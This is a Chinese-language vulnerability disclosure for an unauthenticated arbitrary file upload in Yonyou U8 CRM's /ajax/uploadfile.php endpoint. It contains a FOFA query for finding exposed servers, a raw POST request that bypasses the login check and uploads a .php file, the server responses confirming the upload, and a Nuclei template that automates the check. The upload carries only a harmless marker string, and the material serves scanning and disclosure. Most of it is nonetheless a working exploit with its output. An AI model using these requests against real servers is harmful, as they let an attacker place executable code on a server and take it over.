用友CRM系统uploadfile.php接口存在任意文件上传漏洞

body="用友U8CRM"

POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Content-Length: 329Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w-----------------------------vvv3wdayqv3yppdxvn3wContent-Disposition: form-data; name="file"; filename="%s.php "Content-Type: application/octet-streamwersqqmlumloqa-----------------------------vvv3wdayqv3yppdxvn3wContent-Disposition: form-data; name="upload"upload-----------------------------vvv3wdayqv3yppdxvn3w--

HTTP/1.1 200 OKConnection: closeContent-Length: 165Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Content-Type: text/html; charset=utf-8Date: Tue, 21 May 2024 06:06:51 GMTExpires: Thu, 19 Nov 1981 08:52:00 GMTPragma: no-cacheServer: Apache/2.2.19 (Win32) PHP/5.2.17Set-Cookie: PHPSESSID=qu1g0r0318klgvvhgs7h1dhcb0; path=/X-Powered-By: PHP/5.2.17{"success":true,"code":"","message":"","files":[{"vname":"file","fname":"%s.php ","url":"/tmpfile/updB3CB.tmp.php ","type":"application/octet-stream","size":10}]}

http://x.x.x.x/tmpfile/updB3CB.tmp.php

HTTP/1.1 200 OKConnection: closeContent-Type: text/html; charset=utf-8Date: Tue, 21 May 2024 06:06:51 GMTServer: Apache/2.2.19 (Win32) PHP/5.2.17Vary: Accept-Encoding,User-AgentX-Powered-By: PHP/5.2.17wersqqmlumloqa

id: yonyou-crm-uploadfile-uploadfileinfo:  name: 用友CRM系统uploadfile.php接口存在任意文件上传漏洞  author: fgz  severity: critical  description: '用友CRM客户关系管理系统是一款专业的企业级CRM软件，旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服。该系统uploadfile.php接口存在任意文件上传漏洞，可能导致服务器失陷。'  tags: 2024,uploadfile  metadata:    max-request: 1    fofa-query: body="用友U8CRM"    verified: truevariables:  bodystr: "{{to_lower(rand_base(15))}}"  boundary: "{{to_lower(rand_base(20))}}"http:  - raw:      - |-        POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0        Connection: close        Content-Length: 358        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8        Accept-Encoding: gzip, deflate        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        Content-Type: multipart/form-data; boundary=---------------------------{{boundary}}        -----------------------------{{boundary}}        Content-Disposition: form-data; name="file"; filename="%s.php "        Content-Type: application/octet-stream        {{bodystr}}        -----------------------------{{boundary}}        Content-Disposition: form-data; name="upload"        upload        -----------------------------{{boundary}}--      - |        GET {{name}} HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15    extractors:      - type: json        part: body        name: name        json:          - '.files.[0].url'        internal: true    matchers:      - type: dsl        dsl:          - "status_code_1 == 200 && status_code_2 == 200 && contains(body_2, '{{bodystr}}')"